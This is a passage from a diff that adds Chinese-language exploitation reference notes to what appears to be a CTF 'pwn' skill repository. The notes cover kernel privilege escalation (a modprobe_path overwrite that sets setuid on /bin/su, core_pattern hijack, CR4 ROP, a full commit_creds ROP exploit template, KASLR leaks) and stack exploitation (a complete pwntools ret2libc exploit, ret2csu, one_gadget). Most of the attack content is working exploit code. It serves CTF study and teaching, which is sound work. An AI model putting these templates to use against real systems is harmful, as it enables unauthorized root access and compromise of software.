: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_rsp));
|
||||
}
|
||||
void shell() { system("/bin/sh"); }
|
||||
```
|
||||
|
||||
### 2. modprobe_path 改 /tmp/x(最省事)
|
||||
|
||||
```text
|
||||
原理:
|
||||
- 内核全局变量 modprobe_path 默认 "/sbin/modprobe"
|
||||
- 当 execve 一个不认识 magic 的文件时,内核调用 modprobe_path 以 root 执行
|
||||
- 改成 "/tmp/x",写 /tmp/x(chmod +x),触发未知 magic 执行
|
||||
|
||||
适用:有任意写原语,但不一定能 ROP
|
||||
```
|
||||
|
||||
```c
|
||||
// 1. 准备 payload
|
||||
system("echo -e '#!/bin/sh\nchmod +s /bin/su' > /tmp/x");
|
||||
system("chmod +x /tmp/x");
|
||||
|
||||
// 2. 准备触发文件
|
||||
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/trigger");
|
||||
system("chmod +x /tmp/trigger");
|
||||
|
||||
// 3. 漏洞写:把 modprobe_path 改成 "/tmp/x\x00"
|
||||
arbitrary_write(modprobe_path_addr, "/tmp/x\x00");
|
||||
|
||||
// 4. 触发
|
||||
system("/tmp/trigger");
|
||||
// 内核 root 跑 /tmp/x,做了 chmod +s /bin/su
|
||||
|
||||
// 5. 利用 setuid
|
||||
system("/bin/su");
|
||||
```
|
||||
|
||||
**modprobe_path 地址来源**:vmlinux 里符号,或 /proc/kallsyms(如果 kptr_restrict=0)。
|
||||
|
||||
### 3. core_pattern hijack
|
||||
|
||||
```text
|
||||
类似思想:/proc/sys/kernel/core_pattern 控制 coredump 处理程序
|
||||
改成 "|/tmp/x %P",让进程崩溃时调用
|
||||
缺点:需要触发 coredump,比 modprobe_path 笨重
|
||||
```
|
||||
|
||||
### 4. 内核 ROP 关 SMEP/SMAP
|
||||
|
||||
如果就是想跳回用户态 shellcode(学习目的),可以 ROP 关 cr4 的 bit:
|
||||
|
||||
```c
|
||||
// CR4: SMEP = bit 20, SMAP = bit 21
|
||||
// 关 SMEP+SMAP 后,jmp 到用户态 shellcode 才能跑
|
||||
uint64_t rop[] = {
|
||||
pop_rdi,
|
||||
0x6f0, // CR4 期望值(去掉 SMEP/SMAP 位)
|
||||
mov_cr4_rdi, // "mov cr4, rdi; pop rbp; ret" 之类
|
||||
0,
|
||||
user_shellcode_addr, // 跳过去(如果还没关 SMEP 这步会失败)
|
||||
};
|
||||
```
|
||||
|
||||
实际上**真实利用基本不走这条路** — 直接 commit_creds ROP 更短更稳。
|
||||
|
||||
## KASLR leak 渠道
|
||||
|
||||
| 来源 | 限制 | 备注 |
|
||||
|------|------|------|
|
||||
| /proc/kallsyms | `kptr_restrict=0` 才有真地址 | CTF 常常开放 |
|
||||
| /sys/module/.../sections/.text | 同上 | 模块基址 |
|
||||
| dmesg | `dmesg_restrict=0` 才能读 | oops 信息泄漏地址 |
|
||||
| 内核栈未初始化读 | 漏洞本身要能任意读 | 残留地址 |
|
||||
| msg_msg + 漏洞 leak | 喷射后 OOB read | 通用 |
|
||||
| 旁路(Meltdown/Spectre) | KPTI 修了 Meltdown | 不通用 |
|
||||
| SIDT/SGDT 用户态指令 | 老内核可能漏 | 现代基本封了 |
|
||||
|
||||
```c
|
||||
// 经典:从 /proc/kallsyms 读
|
||||
FILE *f = fopen("/proc/kallsyms", "r");
|
||||
char line[256];
|
||||
unsigned long commit_creds = 0;
|
||||
while (fgets(line, sizeof(line), f)) {
|
||||
if (strstr(line, " commit_creds")) {
|
||||
commit_creds = strtoul(line, NULL, 16);
|
||||
break;
|
||||
}
|
||||
}
|
||||
unsigned long kbase = commit_creds - 0xXXXXX; // 偏移看 vmlinux
|
||||
```
|
||||
|
||||
## 完整 exploit 模板(用户态 + ioctl 触发 + ROP 提权 + shell)
|
||||
|
||||
```c
|
||||
// exploit.c — 内核 pwn 通用骨架
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <string.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/mman.h>
|
||||
|
||||
static unsigned long user_cs, user_ss, user_rflags, user_rsp;
|
||||
|
||||
static void save_state(void) {
|
||||
__asm__ volatile(
|
||||
"movq %%cs, %0\n"
|
||||
"movq %%ss, %1\n"
|
||||
"pushfq; popq %2\n"
|
||||
"movq %%rsp, %3\n"
|
||||
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_rsp)
|
||||
:: "memory");
|
||||
}
|
||||
|
||||
static void win(void) {
|
||||
if (getuid() == 0) {
|
||||
puts("[+] root!");
|
||||
system("/bin/sh");
|
||||
} else {
|
||||
puts("[-] not root");
|
||||
}
|
||||
exit(0);
|
||||
}
|
||||
|
||||
// === KASLR base(先 leak 或 nokaslr 时直接写死) ===
|
||||
#define KBASE_DEFAULT 0xffffffff81000000UL
|
||||
#define OFF_COMMIT_CREDS 0x0xxxxx
|
||||
#define OFF_PREPARE_KERNEL_CRED 0x0xxxxx
|
||||
#define OFF_POP_RDI 0x0xxxxx
|
||||
#define OFF_MOV_RDI_RAX 0x0xxxxx
|
||||
#define OFF_SWAPGS_RESTORE 0x0xxxxx
|
||||
|
||||
int main(void) {
|
||||
save_state();
|
||||
|
||||
// 1. leak KASLR base(这里假设 /proc/kallsyms 可读,或自己写一个 leak primitive)
|
||||
unsigned long kbase = leak_kbase();
|
||||
|
||||
unsigned long prepare_kernel_cred = kbase + OFF_PREPARE_KERNEL_CRED;
|
||||
unsigned long commit_creds = kbase + OFF_COMMIT_CREDS;
|
||||
unsigned long pop_rdi = kbase + OFF_POP_RDI;
|
||||
unsigned long mov_rdi_rax = kbase + OFF_MOV_RDI_RAX;
|
||||
unsigned long swapgs_restore = kbase + OFF_SWAPGS_RESTORE + 22;
|
||||
|
||||
// 2. 构造 ROP(在用户栈或在喷出来的 fake 栈上)
|
||||
unsigned long *rop = mmap((void*)0x100000, 0x1000,
|
||||
PROT_READ|PROT_WRITE,
|
||||
MAP_PRIVATE|MAP_ANON|MAP_FIXED, -1, 0);
|
||||
int i = 0;
|
||||
rop[i++] = pop_rdi;
|
||||
rop[i++] = 0;
|
||||
rop[i++] = prepare_kernel_cred;
|
||||
rop[i++] = mov_rdi_rax;
|
||||
rop[i++] = commit_creds;
|
||||
rop[i++] = swapgs_restore;
|
||||
rop[i++] = 0; // rax
|
||||
rop[i++] = 0; // rdi
|
||||
rop[i++] = (unsigned long)win;
|
||||
rop[i++] = user_cs;
|
||||
rop[i++] = user_rflags;
|
||||
rop[i++] = (unsigned long)(rop + 100); // 临时 user rsp,可指 mmap 高处
|
||||
rop[i++] = user_ss;
|
||||
|
||||
// 3. 触发漏洞,让内核 RIP 跳到 rop[0]
|
||||
int fd = open("/dev/vuln", O_RDWR);
|
||||
trigger(fd, rop); // 题目相关:ioctl / write / read
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
## 学习参考:CVE-2022-0185
|
||||
|
||||
```text
|
||||
漏洞:fs/fs_context.c 中 legacy_parse_param 长度计算有符号 / 无符号混淆
|
||||
→ kmalloc 堆缓冲区溢出,size 任意,data 任意
|
||||
|
||||
为什么是好的学习样本:
|
||||
1. 不需要 root 触发(unprivileged user namespace)
|
||||
2. 溢出大小完全可控
|
||||
3. 公开有完整 writeup + PoC
|
||||
4. 综合了:user_ns 利用、msg_msg 喷射、UAF 后重占用、跨缓存利用
|
||||
|
||||
学习路径:
|
||||
1. 编译带 CONFIG_USER_NS=y 的内核
|
||||
2. 跑 Crusaders of Rust 的原版 PoC:https://www.openwall.com/lists/oss-security/2022/01/18/7
|
||||
3. 看 willsroot.io 的官方 writeup(PortSwigger 收录的版本)
|
||||
4. 手动重写:把 msg_msg 喷射改成 pipe_buffer 喷射版本(练习不同 slab 路径)
|
||||
5. 加上 KASLR leak(原版用 /proc/kallsyms,挑战版禁用后改 OOB read)
|
||||
```
|
||||
|
||||
主要技术点对应本文档的章节:
|
||||
|
||||
- 漏洞类型 → "内核堆溢出"
|
||||
- 喷射对象 → "msg_msg 喷射"
|
||||
- 提权方法 → "commit_creds ROP" 或 "modprobe_path"
|
||||
- KASLR leak → "/proc/kallsyms" 或 "msg_msg + 漏洞 leak"
|
||||
|
||||
## 注意事项
|
||||
|
||||
- **CONFIG_RANDOM_KSTACK_OFFSET / RANDOMIZE_KSTACK_OFFSET_DEFAULT** 让内核栈基址每次 syscall 都随机偏移 0-1023,影响所有依赖固定栈偏移的利用
|
||||
- **CONFIG_SLAB_FREELIST_RANDOM / HARDENED** 让 slab 内对象分配随机化,喷射成功率下降,要多喷
|
||||
- **CONFIG_STATIC_USERMODEHELPER** 把 modprobe_path 设为只读 `static_usermodehelper_path`,modprobe 攻击失效
|
||||
- **KPTI** 让用户态/内核态页表分离,返回用户态必须走 `swapgs_restore_regs_and_return_to_usermode` 这个 trampoline,不能直接 swapgs+iretq
|
||||
- **FG-KASLR**(function-granular KASLR)让函数级别随机化,需要 leak 多个符号反推每个函数偏移
|
||||
- **CET / IBT**(Intel 控制流强制)让间接跳转必须落在 ENDBR 指令,部分 gadget 失效
|
||||
- **不要在内核里调 printk 输出测试** — 串口 IO 会改变时序,破坏 race;用一个 magic 寄存器值(rcx=0xdeadbeef)+ gdb watch 来调试
|
||||
312
reverse-skill-repo/skills/pwn-chain/references/stack-pwn.md
Normal file
312
reverse-skill-repo/skills/pwn-chain/references/stack-pwn.md
Normal file
@@ -0,0 +1,312 @@
|
||||
# 栈类利用 (Stack Pwn)
|
||||
|
||||
## 触发条件与前置检测
|
||||
|
||||
### checksec 解读
|
||||
|
||||
```bash
|
||||
checksec --file=./vuln
|
||||
# 或 pwntools 自带
|
||||
python -c "from pwn import *; print(ELF('./vuln'))"
|
||||
```
|
||||
|
||||
| 输出字段 | 影响 | 应对 |
|
||||
|---------|------|------|
|
||||
| `NX disabled` | 栈可执行 | 直接塞 shellcode |
|
||||
| `Canary found` | 栈溢出会被检测 | 必须先 leak canary 或绕过 (forked process / 格式化字符串) |
|
||||
| `PIE enabled` | .text 基址随机 | 必须 leak 一个代码地址 |
|
||||
| `No PIE` | .text 固定 | gadget 地址写死 |
|
||||
| `Full RELRO` | got 不可写 | 不能改 got,走 ret2libc / one_gadget |
|
||||
| `Partial RELRO` | got 可写 | 可以改 got 表 |
|
||||
| `FORTIFY` | 部分 libc 函数被替换为 `_chk` 版本 | `read_chk` 仍然能溢出,`strcpy_chk` 不行 |
|
||||
|
||||
### 栈溢出长度精确定位
|
||||
|
||||
```python
|
||||
# pwntools cyclic 模式
|
||||
from pwn import *
|
||||
context.arch = 'amd64'
|
||||
|
||||
# 1. 生成 cyclic pattern
|
||||
payload = cyclic(200)
|
||||
|
||||
# 2. 喂给程序触发崩溃
|
||||
p = process('./vuln')
|
||||
p.sendline(payload)
|
||||
p.wait()
|
||||
|
||||
# 3. 从 core dump 读 RSP 上的值
|
||||
core = p.corefile
|
||||
fault = core.fault_addr # 或 core.rsp 指向的 8 字节
|
||||
offset = cyclic_find(fault & 0xffffffff) # 32-bit 模式
|
||||
# 64-bit 用 cyclic_find(p64(fault)[:8])
|
||||
log.info(f"offset = {offset}")
|
||||
```
|
||||
|
||||
### 32 / 64 位 calling convention 速查
|
||||
|
||||
| 架构 | 参数传递 | 返回 | 备注 |
|
||||
|------|---------|------|------|
|
||||
| x86 (32-bit) | 栈传参(cdecl: 调用者清栈) | eax | 栈结构:ret_addr, arg1, arg2, ... |
|
||||
| x86-64 SysV | rdi, rsi, rdx, rcx, r8, r9, 栈 | rax | rsp 必须 16-byte 对齐到 call 入口 |
|
||||
| ARM32 | r0-r3, 栈 | r0 | lr 保存返回地址,bx lr 返回 |
|
||||
| ARM64 | x0-x7, 栈 | x0 | 类似 SysV,更严格的对齐 |
|
||||
|
||||
## ret2libc 完整 pwntools 模板
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
|
||||
# === 环境配置 ===
|
||||
exe = './vuln'
|
||||
libc_path = './libc.so.6'
|
||||
HOST, PORT = 'chal.example.com', 31337
|
||||
|
||||
context.binary = elf = ELF(exe)
|
||||
context.log_level = 'info'
|
||||
libc = ELF(libc_path)
|
||||
|
||||
# 自动 patchelf 让本地用题目给的 libc
|
||||
# patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath . ./vuln
|
||||
|
||||
def conn():
|
||||
if args.REMOTE:
|
||||
return remote(HOST, PORT)
|
||||
if args.GDB:
|
||||
return gdb.debug(exe, gdbscript='''
|
||||
b *main+123
|
||||
continue
|
||||
''')
|
||||
return process(exe)
|
||||
|
||||
# === Stage 1: leak libc ===
|
||||
p = conn()
|
||||
|
||||
OFFSET = 0x48 # 通过 cyclic 测出来
|
||||
pop_rdi = 0x0000000000401383 # ROPgadget --binary ./vuln --only "pop|ret" | grep rdi
|
||||
ret = 0x000000000040101a # 用于栈对齐
|
||||
|
||||
payload = b'A' * OFFSET
|
||||
payload += p64(pop_rdi)
|
||||
payload += p64(elf.got['puts']) # 让 puts 打印 puts@got 自己的地址
|
||||
payload += p64(elf.plt['puts'])
|
||||
payload += p64(elf.sym['main']) # 回到 main,复用栈溢出做第二轮
|
||||
|
||||
p.sendlineafter(b'> ', payload)
|
||||
|
||||
# 接收 leak(注意 recvuntil 锚字符串,不要用 sleep)
|
||||
p.recvuntil(b'bye\n')
|
||||
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
|
||||
log.success(f'leaked puts @ {hex(leak)}')
|
||||
|
||||
# 反查 libc base
|
||||
libc.address = leak - libc.sym['puts']
|
||||
log.success(f'libc base = {hex(libc.address)}')
|
||||
|
||||
# === Stage 2: ret2libc system("/bin/sh") ===
|
||||
binsh = next(libc.search(b'/bin/sh\x00'))
|
||||
system = libc.sym['system']
|
||||
|
||||
payload = b'A' * OFFSET
|
||||
payload += p64(ret) # 关键:补齐 16-byte 对齐
|
||||
payload += p64(pop_rdi)
|
||||
payload += p64(binsh)
|
||||
payload += p64(system)
|
||||
|
||||
p.sendlineafter(b'> ', payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
### 栈对齐坑(必看)
|
||||
|
||||
```text
|
||||
现象:本地能打通,远程 system 一进去就 SIGSEGV
|
||||
原因:libc 的 system → do_system → 内部某处 movaps xmm0, [rsp]
|
||||
要求 rsp 16-byte 对齐
|
||||
失败:你的 ROP 链跳进 system 时,rsp 末位是 0x8 而不是 0x0
|
||||
修复:在 ROP 链里插一个 `ret` gadget(消耗 8 字节,让 rsp 重新对齐)
|
||||
```
|
||||
|
||||
## ret2csu(万能 gadget)
|
||||
|
||||
当二进制里没有 `pop rdx; ret` 这种第三参数 gadget 时,用 `__libc_csu_init` 里的固定结构(glibc < 2.34 静态链接的程序里都有)。
|
||||
|
||||
```text
|
||||
__libc_csu_init 末尾固定 pattern:
|
||||
add rsp, 8
|
||||
pop rbx
|
||||
pop rbp
|
||||
pop r12
|
||||
pop r13
|
||||
pop r14
|
||||
pop r15
|
||||
ret
|
||||
|
||||
中间还有:
|
||||
mov rdx, r15 ; r15 → rdx
|
||||
mov rsi, r14 ; r14 → rsi
|
||||
mov edi, r13d ; r13 → rdi (低 32 位)
|
||||
call qword ptr [r12 + rbx*8]
|
||||
```
|
||||
|
||||
pwntools 写法:
|
||||
|
||||
```python
|
||||
csu_pop = 0x40119a # 第一段(pop rbx..r15; ret)
|
||||
csu_call = 0x401180 # 第二段(mov rdx,r15; ... ; call [r12+rbx*8])
|
||||
|
||||
def csu(rdi, rsi, rdx, call_target):
|
||||
p = p64(csu_pop)
|
||||
p += p64(0) # rbx = 0
|
||||
p += p64(1) # rbp = 1(要使后续 cmp rbx,rbp 通过 → rbx+1 == rbp)
|
||||
p += p64(call_target) # r12 = [r12+rbx*8] 解引用得到目标
|
||||
p += p64(rdi) # r13
|
||||
p += p64(rsi) # r14
|
||||
p += p64(rdx) # r15
|
||||
p += p64(csu_call)
|
||||
p += b'\x00' * 8 * 7 # 第二段 ret 后又 pop 7 个
|
||||
return p
|
||||
```
|
||||
|
||||
适用:bss 里写一个函数指针,再用 csu 调用它,常用于 `read(0, bss, 0x100)` 阶段后跳到 bss 执行 ROP。
|
||||
|
||||
## one_gadget 用法
|
||||
|
||||
```bash
|
||||
one_gadget ./libc.so.6
|
||||
|
||||
# 输出类似:
|
||||
# 0xe3afe execve("/bin/sh", r15, r12)
|
||||
# constraints:
|
||||
# [r15] == NULL || r15 == NULL
|
||||
# [r12] == NULL || r12 == NULL
|
||||
|
||||
# 0xe3b01 execve("/bin/sh", r15, rdx)
|
||||
# constraints:
|
||||
# [r15] == NULL || r15 == NULL
|
||||
# [rdx] == NULL || rdx == NULL
|
||||
|
||||
# 0xe3b04 execve("/bin/sh", rsi, rdx)
|
||||
# constraints:
|
||||
# [rsi] == NULL || rsi == NULL
|
||||
# [rdx] == NULL || rdx == NULL
|
||||
```
|
||||
|
||||
使用:
|
||||
|
||||
```python
|
||||
og = [0xe3afe, 0xe3b01, 0xe3b04]
|
||||
payload = b'A' * OFFSET
|
||||
payload += p64(ret)
|
||||
payload += p64(libc.address + og[1]) # 挑约束能满足的那个
|
||||
```
|
||||
|
||||
**坑**:one_gadget 在某些 libc 版本(2.34+)约束极难满足,老老实实 ret2libc 更稳。
|
||||
|
||||
## libc-database 反查
|
||||
|
||||
场景:题目没给 libc,只能 leak 几个函数地址反推版本。
|
||||
|
||||
```bash
|
||||
cd ~/tools/libc-database
|
||||
|
||||
# 用 leak 出来的 puts 和 read 地址(取后 3 位)反查
|
||||
./find puts 0x6f0 read 0xfd
|
||||
# 输出:libc6_2.31-0ubuntu9.9_amd64
|
||||
|
||||
# 拿对应 libc 的所有符号偏移
|
||||
./dump libc6_2.31-0ubuntu9.9_amd64
|
||||
|
||||
# 下载实际 libc.so.6 到本地
|
||||
ls db/libc6_2.31-0ubuntu9.9_amd64.so
|
||||
```
|
||||
|
||||
pwntools 集成:
|
||||
|
||||
```python
|
||||
# 在线 libc-database 查询(无需本地)
|
||||
from pwnlib.libcdb import search_by_symbol_offsets
|
||||
libs = search_by_symbol_offsets({'puts': 0x6f0, 'read': 0xfd})
|
||||
libc = ELF(libs[0])
|
||||
```
|
||||
|
||||
## ROPgadget 速查
|
||||
|
||||
```bash
|
||||
# 基础:pop|ret 单 reg
|
||||
ROPgadget --binary ./vuln --only "pop|ret"
|
||||
|
||||
# 找 syscall
|
||||
ROPgadget --binary ./vuln | grep ': syscall'
|
||||
|
||||
# 找带特定字节
|
||||
ROPgadget --binary ./libc.so.6 --only "pop|ret" | grep 'pop rdi'
|
||||
|
||||
# 找字符串
|
||||
ROPgadget --binary ./libc.so.6 --string '/bin/sh'
|
||||
|
||||
# 输出 JSON 给程序解析
|
||||
ROPgadget --binary ./vuln --json > gadgets.json
|
||||
```
|
||||
|
||||
Ropper 替代(架构支持更广):
|
||||
|
||||
```bash
|
||||
ropper --file ./vuln --search "pop rdi; ret"
|
||||
ropper --file ./libc.so.6 --search "syscall"
|
||||
```
|
||||
|
||||
## 远程稳定化清单
|
||||
|
||||
| 问题 | 现象 | 解决 |
|
||||
|------|------|------|
|
||||
| libc 版本错 | 本地通,远程 SIGSEGV in system | leak 后用 libc-database 反查实际版本 |
|
||||
| 栈对齐 | system 立刻段错误 | 加一个 `ret` gadget |
|
||||
| 网络延迟 | recv 收到一半 | 用 `recvuntil(b'锚字符串')`,不用 `sleep` |
|
||||
| 缓冲 | sendline 发完没反应 | 改 `sendlineafter`,明确等到 prompt 再发 |
|
||||
| ASLR 浮动 | 概率成功 | 看是否 byte-level brute(1/16 概率不算稳定) |
|
||||
| TCP nagle | 小包合并 | `p.settimeout(2); p.recvall(timeout=2)` 保底 |
|
||||
|
||||
## 调试技巧
|
||||
|
||||
```python
|
||||
# pwntools 内嵌 gdb attach
|
||||
p = process('./vuln')
|
||||
gdb.attach(p, '''
|
||||
b *main+0x123
|
||||
b *0x401234
|
||||
commands
|
||||
telescope $rsp 20
|
||||
continue
|
||||
end
|
||||
''')
|
||||
|
||||
# 一开始就在 gdb 里跑
|
||||
p = gdb.debug('./vuln', '''
|
||||
set follow-fork-mode child
|
||||
b main
|
||||
''')
|
||||
```
|
||||
|
||||
GEF/pwndbg 常用命令:
|
||||
|
||||
```text
|
||||
checksec # 看保护
|
||||
vmmap # 内存布局
|
||||
telescope $rsp 30 # 栈链路(pwndbg)
|
||||
stack 30 # 类似(GEF)
|
||||
got # GOT 表
|
||||
search-pattern "/bin/sh"
|
||||
context # 自动显示 reg + stack + code(默认开)
|
||||
ropgadget # 内嵌 gadget 搜索
|
||||
```
|
||||
|
||||
## 注意事项
|
||||
|
||||
- **NX 关 + ASLR 关**才能直接 shellcode;现代二进制基本都开 NX
|
||||
- **canary 在 fork 子进程里不变** — forking server 可以一次 byte 一次 byte 爆破(1/256 × 7 字节)
|
||||
- **格式化字符串可以同时 leak canary 和 libc** — 用 `%p %p ... %p` 扫栈
|
||||
- **DynELF 慢但万能** — 完全没给 libc 时,pwntools 的 `DynELF` 可以纯靠程序自己的 IO 原语逐字节 leak 符号表
|
||||
- **静态链接的程序没有 libc.got** — 走 SROP(sigreturn-oriented programming)或直接 syscall
|
||||
Reference in New Issue
Block a user